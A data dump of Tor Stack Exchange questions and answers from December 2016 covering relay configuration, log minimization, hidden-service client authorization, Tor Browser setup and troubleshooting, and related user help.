  <row Id="13386" PostTypeId="2" ParentId="13385" CreationDate="2016-12-15T13:08:27.993" Score="1" Body="&lt;p&gt;Ethics are all just opinions. I personally do not keep logs, and the general consensus is that you should reduce logging to as much as possible. From &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/OperationalSecurity#MinimizeDataRetention&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor's website&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Audit your server's logging configuration and &lt;strong&gt;reduce the amount of&#xA;  information logged as much as possible&lt;/strong&gt;. Set your log rotation software&#xA;  to delete logs after as short a time as you can manage.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Remember, you can recover deleted files as long as the space has not&#xA;  been overwritten. With mildly expensive computer forensics, you can&#xA;  recover even multiple pass overwrites.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;The best policy is to keep no logs.&lt;/strong&gt; If you must keep logs, consider&#xA;  rotating them and purging the old logs with an overwrite scheme such&#xA;  as Peter Gutmann's 35 pass overwrite using special patterns.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;EFF's best practices for online service providers&#xA;  ​&lt;a href=&quot;https://www.eff.org/files/20040819_OSPBestPractices.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.eff.org/files/20040819_OSPBestPractices.pdf&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="15060" LastActivityDate="2016-12-15T13:08:27.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13387" PostTypeId="1" AcceptedAnswerId="13391" CreationDate="2016-12-15T14:38:52.863" Score="0" ViewCount="170" Body="&lt;p&gt;There is &lt;a href=&quot;https://torstatus.blutmagie.de/&quot; rel=&quot;nofollow noreferrer&quot;&gt;a Tor status web page&lt;/a&gt; (&lt;strong&gt;warning: it loads pretty slowly&lt;/strong&gt;), probably unofficial, which I usually use to see what is going on with a certain node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page has the following fields for each tor-relay: Router Name; Bandwidth   (KB/s); Uptime; Hostname; ORPort; DirPort; Bad Exit; FirstSeen; ASName; ASNumber; ConsensusBandwidth KB/s; OrAddress  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The meaning of most of these fields are clear. But what do the &lt;strong&gt;ASName&lt;/strong&gt;, &lt;strong&gt;ASNumber&lt;/strong&gt;, &lt;strong&gt;ConsensusBandwidth&lt;/strong&gt; KB/s, &lt;strong&gt;OrAddress&lt;/strong&gt; mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And how the &lt;strong&gt;ConsensusBandwith&lt;/strong&gt; is different from the &lt;strong&gt;Bandwidth&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much.&lt;/p&gt;&#xA;" OwnerUserId="5022" LastActivityDate="2016-12-15T18:26:28.363" Title="On a Tor status page what do these columns stand for?" Tags="|relays|stats|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13389" PostTypeId="1" CreationDate="2016-12-15T17:36:01.200" Score="0" ViewCount="712" Body="&lt;p&gt;Is it because of the nature of it's encryption protocol? I'm assuming there are other reasons as well, but I have not been able to find any information about it.&lt;/p&gt;&#xA;" OwnerUserId="15464" LastActivityDate="2016-12-17T01:01:54.763" Title="Why does Tor only work on TCP?" Tags="|encryption|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13391" PostTypeId="2" ParentId="13387" CreationDate="2016-12-15T18:26:28.363" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Autonomous_system_%28Internet%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;AS Number&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Within the Internet, an autonomous system (AS) is a collection of connected Internet Protocol (IP) routing prefixes under the control of one or more network operators on behalf of a single administrative entity or domain that presents a common, clearly defined routing policy to the Internet.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt#n2687&quot; rel=&quot;nofollow noreferrer&quot;&gt;Consensus Weight&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Weight assigned to this relay by the directory authorities that clients use in their path selection algorithm.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#ORPort&quot; rel=&quot;nofollow noreferrer&quot;&gt;OR Address&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The IPv4 or IPv6 address associated with a port that the relay is listening on to talk to other Tor relays or clients.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As for why bandwidth and consensus bandwidth differ, one of them it a claim the relay makes pf itself and the other is what directory authorities are able to record.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should instead use &lt;a href=&quot;https://atlas.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Atlas&lt;/a&gt;, which uses &lt;a href=&quot;https://onionoo.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Onionoo&lt;/a&gt; which actually &lt;a href=&quot;https://onionoo.torproject.org/protocol.html#details&quot; rel=&quot;nofollow noreferrer&quot;&gt;explains some of these terms&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-12-15T18:26:28.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13394" PostTypeId="1" CreationDate="2016-12-16T13:03:34.710" Score="0" ViewCount="1616" Body="&lt;p&gt;Everytime I edit some parameters in my torrc file and then send a &quot;pkill -sighup tor&quot; to reload the configuration, I loose my HSDir-Flag and my uptime. Is it possible to reload the torrc without the mentioned points?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just for your information the relay is hosted on a virtual server, with an estimated Traffic of about 6TB per Month and is running for about 18 days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment it has the following flags: Fast, Guard, HSDir, Running, Stable, V2Dir, Valid (bw=7020).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind regards&lt;/p&gt;&#xA;" OwnerUserId="15470" LastActivityDate="2022-04-06T11:08:10.820" Title="Reloading torrc without loosing flags" Tags="|configuration|relays|flags|hsdir|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13396" PostTypeId="2" ParentId="13394" CreationDate="2016-12-17T00:46:59.147" Score="0" Body="&lt;p&gt;First of all - if you even  reboot your server for 2-3 minutes - you won't loose your flags, checked it myself. Just doing it from time to time on my relay with zero problems at all. Second - using &lt;code&gt;kill -1 &amp;lt;tor-pid&amp;gt;&lt;/code&gt; seems to work fine. But if you need really &quot;on-flight&quot; replace without any interruptions - use a control protocol to make the corresponding changes in your &quot;running-config&quot;, ciscoly-speaking :)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-12-17T00:46:59.147" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13398" PostTypeId="2" ParentId="13389" CreationDate="2016-12-17T01:01:54.763" Score="-1" Body="&lt;p&gt;Basically it's about the main difference between TCP and UDP - udp packets are fire-and-forget ones, but tcp's are much more strict and simple to handle. The working with UDP as a transport for Tor &lt;em&gt;itself&lt;/em&gt; has it's uses, but I'm sure that it will be implemented in a future: there're too many bonuses in doing so that it simply can be ignored. If you want to transport UDP for your hidden service, for example, - just use OpenVPN! TCP was the &quot;first and most universal/wide&quot; choice, and it's better implement a single feature, but good - rather than ten of them, but badly: we've seen the Microsoft approach on features, it stinks :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMHO: - this is my very personal opinion:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Privacy concerns in Tor FAQ about non-tcp packets revealing OS are ridiculous, this can be handled &quot;not so hard&quot;&lt;/li&gt;&#xA;&lt;li&gt;The &quot;DNS resolver excuse&quot; is an issue that must be fixed &lt;em&gt;regardless of IP support&lt;/em&gt;, even if it will be still just TCP only supported&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-12-17T01:01:54.763" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13399" PostTypeId="1" CreationDate="2016-12-17T07:19:21.920" Score="0" ViewCount="171" Body="&lt;p&gt;am not a PC or IT genius - so pardon the ignorance (and hope I am coming to the right place to help).&#xA;seeing as I live in a &quot;free&quot; country (Australia) and am now constantly having my privacy invaded am looking at using TOR for browsing/downloading but don't really know how to set it up properly so I am protected/secure.  Have read as much as I can at the webpage but to be honest it is a little confusing for someone like me (sorry for that but am trying to learn!!!!). &#xA;What  would like to know what/how to do is:&#xA;1) to not be identified when visiting any site I usually go to&#xA;2) to not be identified when downloading from any site I usually go to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;am a big fan of what happens here - as I think it is great that people are fighting the good fight against big-brother!!!&#xA;any help or assistance that someone can give me would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="15479" LastActivityDate="2017-03-17T10:55:16.020" Title="new to TOR and looking for help to setup" Tags="|configuration|anonymity|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13400" PostTypeId="2" ParentId="13399" CreationDate="2016-12-17T10:28:25.003" Score="1" Body="&lt;p&gt;The best way to use Tor is to use the Tor Browser Bundle, which is a modified version of Firefox that comes with (obviously) Tor, and has a lot of cool tweaks that help protect your privacy. It is already pre-configured to use Tor!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To download the Tor Browser Bundle go to the official website of the Tor Project (don't go anywhere else!) : &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/download/download-easy.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By using the Tor Browser Bundle, only the TBB's traffic is routed through Tor, it does not route all of your traffic through Tor. Be sure to read the warnings here about potential errors some users may do: &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en#warning&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/download/download-easy.html.en#warning&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15480" LastActivityDate="2016-12-17T10:28:25.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13401" PostTypeId="1" AcceptedAnswerId="13404" CreationDate="2016-12-17T12:24:49.510" Score="3" ViewCount="9584" Body="&lt;p&gt;First of all I am kind of new to Linux and Ubuntu, also I have not been using tor for long, I am learning about it. It is the first time I encounter issues with it, been using on Win and Ubuntu fine until now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cutting things short, I cannot start Tor browser through any means. I have searched tor stack exchange and did not found a solution that works for me, having this problem for a few days now. It worked before on my Ubuntu 16.04 LTS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Done System updates.&#xA;Tor is up to date.&#xA;Removed and reinstalled Tor.&#xA;Tor was installed with &lt;code&gt;apt-get install tor&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things I have tried:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Starting it by GUI (icon), what happens is that it flashes for a few times but it does not start. Tried to start it with firefox closed as suggested in a post I do not remember where, same thing.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tried starting by console command:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;from &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor manual&lt;/a&gt; &lt;code&gt;sudo tor --service start&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Output: &#xA;&lt;code&gt;Dec 17 17:42:56.357 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;Dec 17 17:42:56.360 [warn] Failed to parse/validate config: Unknown option 'service'.  Failing.&#xA;Dec 17 17:42:56.360 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Used &lt;code&gt;sudo apt-cache rdepends tor&lt;/code&gt; and &lt;code&gt;apt-get install rdepends tor&lt;/code&gt; to check if there are any dependecies missing, still wont start.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Used &lt;code&gt;sudo netstat -atn&lt;/code&gt; to check if port 9050 is in use somehow&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tcp   0      0 127.0.0.1:9050          0.0.0.0:*           LISTEN &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;Went to folder where Tor is installed and used &lt;code&gt;./start-tor-browser&lt;/code&gt; with result: &lt;code&gt;No such file or directory&lt;/code&gt;; so I also tried after &lt;code&gt;./tor&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Output:&#xA;&lt;code&gt;Dec 17 18:18:10.607 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;Dec 17 18:18:10.611 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Dec 17 18:18:10.611 [warn] Could not bind to 127.0.0.1:9050: Address already in use. Is Tor already running?&#xA;Dec 17 18:18:10.611 [warn] Failed to parse/validate config: Failed to bind one of the listener ports.&#xA;Dec 17 18:18:10.611 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor browser is not running though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I am as noob as they get, so I am sure to miss something, thx for help and I hope I did not waste your time. I need tor :D, we all should.&lt;/p&gt;&#xA;" OwnerUserId="15457" LastEditorUserId="15457" LastEditDate="2016-12-17T13:36:57.647" LastActivityDate="2019-02-08T23:40:11.263" Title="Cannot start Tor on Ubuntu 16.04 LTS" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13403" PostTypeId="1" CreationDate="2016-12-17T16:44:44.837" Score="3" ViewCount="124" Body="&lt;p&gt;What would speed up the Tor network the most: 500Mbits exit relay server or 5 x 100Mbits exit relay servers?&lt;/p&gt;&#xA;" OwnerUserId="15485" LastActivityDate="2017-02-24T16:10:11.457" Title="What would speed up the Tor network the most: 500Mbits server or 5 x 100Mbits servers?" Tags="|relays|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13404" PostTypeId="2" ParentId="13401" CreationDate="2016-12-17T16:46:32.077" Score="2" Body="&lt;p&gt;&lt;code&gt;sudo tor --service start&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is for Windows users, not Linux.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;--service remove|start|stop&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Remove, start, or stop a configured Tor Windows service.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Dec 17 18:18:10.611 [warn] Could not bind to 127.0.0.1:9050: Address already in use. Is Tor already running?&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, infact &lt;code&gt;tor&lt;/code&gt; was already running, as your netstat output showed. It is installed as a system service and would have started already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;tor&lt;/code&gt; is not Tor Browser, it is just one component that provides the connection to the Tor network but it doesn't include the browser. Instead you should install Tor Browser by following the &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;steps on the Tor Project website&lt;/a&gt;. It is a standalone application and doesn't require you to install &lt;code&gt;tor&lt;/code&gt; onto the system itself, as it uses it's own copy but they won't interfere with each other either.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-12-17T16:46:32.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13406" PostTypeId="1" CreationDate="2016-12-17T17:11:19.643" Score="0" ViewCount="305" Body="&lt;p&gt;If I want to host a hidden service but I don't want people to know that the server is communicating to Tor, what can I do? Can I use obfs4? How to setup things?&lt;/p&gt;&#xA;" OwnerUserId="15486" LastActivityDate="2017-01-25T06:37:24.887" Title="Can one use pluggable transports to host hidden services?" Tags="|onion-services|bridge|pluggable-transports|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13408" PostTypeId="1" CreationDate="2016-12-17T21:00:50.367" Score="0" ViewCount="1322" Body="&lt;p&gt;Is Tor over wifi safe? Can people who snoop on my traffic de-anonymize my Tor traffic (assuming I use Tor Browser)?&lt;/p&gt;&#xA;" OwnerUserId="15489" LastActivityDate="2016-12-19T03:14:05.853" Title="Is Tor over wifi safe? Can people who snoop on my traffic de-anonymize my Tor traffic?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ClosedDate="2016-12-19T14:17:51.733" ContentLicense="CC BY-SA 3.0" />
  <row Id="13409" PostTypeId="1" AcceptedAnswerId="13668" CreationDate="2016-12-18T00:44:42.377" Score="0" ViewCount="538" Body="&lt;p&gt;Why I test dns servers with tor and always show google dns or open dns? is it mean tor is not anonymous any more?&lt;/p&gt;&#xA;" OwnerUserId="15490" LastActivityDate="2017-01-11T12:30:14.020" Title="Why I test dns servers with tor and always show google dns or open dns" Tags="|dns|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13410" PostTypeId="2" ParentId="13408" CreationDate="2016-12-18T02:25:40.110" Score="-1" Body="&lt;p&gt;WiFi is just a basic network level for Tor in your case/question, so it does not differ from wired network connection in matters of anti-snooping security: all the snooper will see will be Tor encrypted traffic. Yes, as a wired one too, it has it's weakneses, but Tor and Tor Browser are working completely independent of network packet transmission layer.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2016-12-19T03:14:05.853" LastActivityDate="2016-12-19T03:14:05.853" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13411" PostTypeId="2" ParentId="13409" CreationDate="2016-12-18T02:29:38.967" Score="0" Body="&lt;p&gt;If they are not explicitly set on your system, then - in case of utilization of Tor's DNSPort internal resolver - it uses the actual resolver of the exit node, and it's a quite common case to set Google DNS or other open DNS solution servers on a server. It has it's security concerns, mentioned &lt;a href=&quot;https://nakedsecurity.sophos.com/2016/10/05/unmasking-tor-users-with-dns/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, for example - but it's not a serious issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for my personal opinion - a local recursive DNS without ISP forwarding is a good solution for exit nodes.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-12-18T02:29:38.967" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13412" PostTypeId="1" CreationDate="2016-12-18T06:28:31.427" Score="0" ViewCount="303" Body="&lt;p&gt;How I can enable NTLM auth in Tor Browser on Windows? I tried to change &lt;code&gt;network.auth.force-generic-ntlm-v1&lt;/code&gt; to true, but it not works. &#xA;I need to authenticate on IIS 8.5 server that require NTLM authentication, but when I try to make it server return 401 error even without credentials promt.&#xA;It works on Firefox so I believe that its a Tor Browser specific bug.&#xA;I will be very appreciate for help.&lt;/p&gt;&#xA;" OwnerUserId="15495" LastEditorUserId="88" LastEditDate="2016-12-20T18:40:18.663" LastActivityDate="2017-01-19T19:22:14.570" Title="How to enable NTLM auth in Tor Browser on Windows?" Tags="|tor-browser-bundle|windows|authentication|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13413" PostTypeId="1" CreationDate="2016-12-18T07:19:47.247" Score="4" ViewCount="1441" Body="&lt;p&gt;I am new to the TOR browser, I have downloaded and installed it on my mac. When I open it up and go to search something, it comes up with &quot;Firefox is configured to use a proxy server that is refusing connections.&quot; I have gone into the settings but I can't figure out how to get around this problem. I don't know a proxy to use. &#xA;Can someone help?&lt;/p&gt;&#xA;" OwnerUserId="15496" LastEditorUserId="12737" LastEditDate="2016-12-19T10:00:59.500" LastActivityDate="2022-08-26T07:08:15.857" Title="Firefox is configured to use a proxy server that is refusing connections" Tags="|firefox|proxy|mac|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13414" PostTypeId="2" ParentId="13412" CreationDate="2016-12-18T07:31:33.237" Score="1" Body="&lt;p&gt;NTLM is disabled by intent, apparently due to an embargoed Mozilla bug (I.E. the details aren't public), this is done through patching. The change is hardcoded into the browser so editing preferences won't make any difference. It's applied through &lt;a href=&quot;https://gitweb.torproject.org/tor-browser.git/commit/?h=tor-browser-45.6.0esr-6.5-1&amp;amp;id=4425a1ba1e06ea905b8c102d239b861a3a9b06f1&quot; rel=&quot;nofollow noreferrer&quot;&gt;this patch&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The associated ticket for the patch can be found here: &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/12974&quot; rel=&quot;nofollow noreferrer&quot;&gt;#12974&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(My suspicion is that this can lead to a local credential leak and so could seriously harm user anonymity)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-12-18T07:38:31.170" LastActivityDate="2016-12-18T07:38:31.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13416" PostTypeId="1" AcceptedAnswerId="13418" CreationDate="2016-12-18T14:49:56.120" Score="6" ViewCount="5323" Body="&lt;p&gt;Reading &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#HiddenServiceAuthorizeClient&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; I understand that only clients that are listed are authorized to access the hidden service, but how does it work? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean, is my hidden service really hidden? If a client is not authorized to access, can it see the activity of my h.s.? Can this configuration protect me from ddos attack (I assume that the attack is not done by authorized clients)?&#xA;What is the difference from &lt;code&gt;basic&lt;/code&gt; and &lt;code&gt;stealth&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what this can and cannot do?&lt;/p&gt;&#xA;" OwnerDisplayName="user3524" LastActivityDate="2017-12-21T11:39:47.920" Title="How does &quot;HiddenServiceAuthorizeClient&quot; work?" Tags="|configuration|onion-services|authentication|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13418" PostTypeId="2" ParentId="13416" CreationDate="2016-12-18T17:23:43.950" Score="4" Body="&lt;p&gt;A hidden service is truly hidden, this add another layer to discriminate clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In traditional HS, a hidden server publish in the tor network how to begin a communication with it (not its true location, tor uses a complex middle nodes link setup for bidirectional route anonymization, the server and client knows nothing about end point's location, same for the rest of the tor network). A client ask to the network how to reach a HS with this info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the authorize client option one mechanism provides two more features, a hidden server publish encrypted instructions of how to begin the communication, a client with the right key can decipher this info. And with the same key, the HS expects the first handshake to be made. If you are an authorized client, you only can locate the HS path and then try to establish connection if you have this key. Indeed you can prevent a DDOS because if the client does not have the key, it can not find the path to the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is two flavor of this, the basic mode, where many keys for the same onion address are published, and the stealth mode where for the same HS the server publish differents onion addresses with each different key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The security difference of this modes are that basic mode can escalate to many keys but the tor network knows how many keys are (not how many users connect with this keys, or when), can scale easily for big HS servers. Stealth mode is limited to more or less 16 keys, but the tor network knows nothing if this keys are for the same HS. Good for small setups, not so wheel for massive HS services. There are ways to overcome the limitations of the stealth mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the stealth mode quite a lot for my SSH servers. I have a different onion and key set for every client. &lt;/p&gt;&#xA;" OwnerUserId="15501" LastActivityDate="2016-12-18T17:23:43.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13419" PostTypeId="2" ParentId="13416" CreationDate="2016-12-18T17:37:58.593" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;how does it work?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Clients must authenticate to create a successful rendezvous circuit.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;can it see the activity of my h.s.?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That depends what you mean by activity, they could track the publication of it's descriptor for example (with basic, less-so with stealth) but they'd be unable to make a successful rendezvous circuit.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can this configuration protect me from ddos attack?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It can help prevent some vectors but generally no. An adversary with sufficient available bandwith could still attack guards to perform &quot;sniper&quot; attacks (with basic, again less so with stealth).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What is the difference from basic and stealth?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec-v2.txt#n865&quot; rel=&quot;nofollow noreferrer&quot;&gt;Basic&lt;/a&gt; requires clients possess a shared secret (this secret is shared out-of-band) before they can create a rendezvous circuit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec-v2.txt#n928&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stealth&lt;/a&gt; also generates a new onion address for every client, each client has it's own shared secret and onion address pair. This scales least well because it must maintain a full set of descriptors for every client.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="3792" LastEditDate="2017-12-21T11:39:47.920" LastActivityDate="2017-12-21T11:39:47.920" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13420" PostTypeId="2" ParentId="13416" CreationDate="2016-12-18T17:56:13.650" Score="1" Body="&lt;p&gt;And easy description of how HS works. You HS server choose some random nodes, this nodes only relay info from the client to the HS if a client ask about the HS to them. Then the HS publish this info to the tor directory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before a client want to connect to a HS, first choose a ramdom node, this node (rendezvous node) will relay data from the HS to the client. Then ask to the tor directory servers how to contact the HS. The client will choose one of the published relays, and will send a message with rendezvous node location to the HS through the relay node. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, when the HS receive the petition, it establish a connection to the client through the rendezvous node. The relay node never told to the client where the HS is, the rendezvous node never told the HS where the client is. And with every step, the nodes uses keys to authenticate connections, middle points and endpoints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the authorize client mode, the relays nodes are encrypted with a secret key before the HS publish those to the directory. The client uses the key to read this relay locations.&lt;/p&gt;&#xA;" OwnerUserId="15501" LastActivityDate="2016-12-18T17:56:13.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13424" PostTypeId="1" CreationDate="2016-12-19T09:37:26.300" Score="0" ViewCount="594" Body="&lt;p&gt;How can I get rid of those cloudflare captchas? i think I wont even open up cloudflare websites anymore&lt;/p&gt;&#xA;" OwnerUserId="15507" LastActivityDate="2016-12-19T10:35:12.573" Title="How can I get rid of those cloudflare captchas? it's annoying" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ClosedDate="2016-12-19T14:13:11.350" ContentLicense="CC BY-SA 3.0" />
  <row Id="13425" PostTypeId="2" ParentId="13413" CreationDate="2016-12-19T10:11:44.080" Score="0" Body="&lt;p&gt;Your tor process seems to be in bootstrapping phase and it's &quot;not ready to serve&quot; yet, please attach a log to your answer. Just give it some time - it can be even 5-7 minutes for a first run.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-12-19T10:11:44.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13427" PostTypeId="2" ParentId="13424" CreationDate="2016-12-19T10:35:12.573" Score="0" Body="&lt;p&gt;The CloudFlare &lt;em&gt;itself&lt;/em&gt; has no problem with it: take a look at the &lt;a href=&quot;https://blog.cloudflare.com/the-trouble-with-tor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;corresponding post in their blog&lt;/a&gt;, so it's technically an issue with the presets for the particular site. You have to complete the captcha - and use the site. Yes - it's not a pleasant deed, when you see these sites one-by-one, but sadly - No, there's nothing you can do as a website client&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-12-19T10:35:12.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
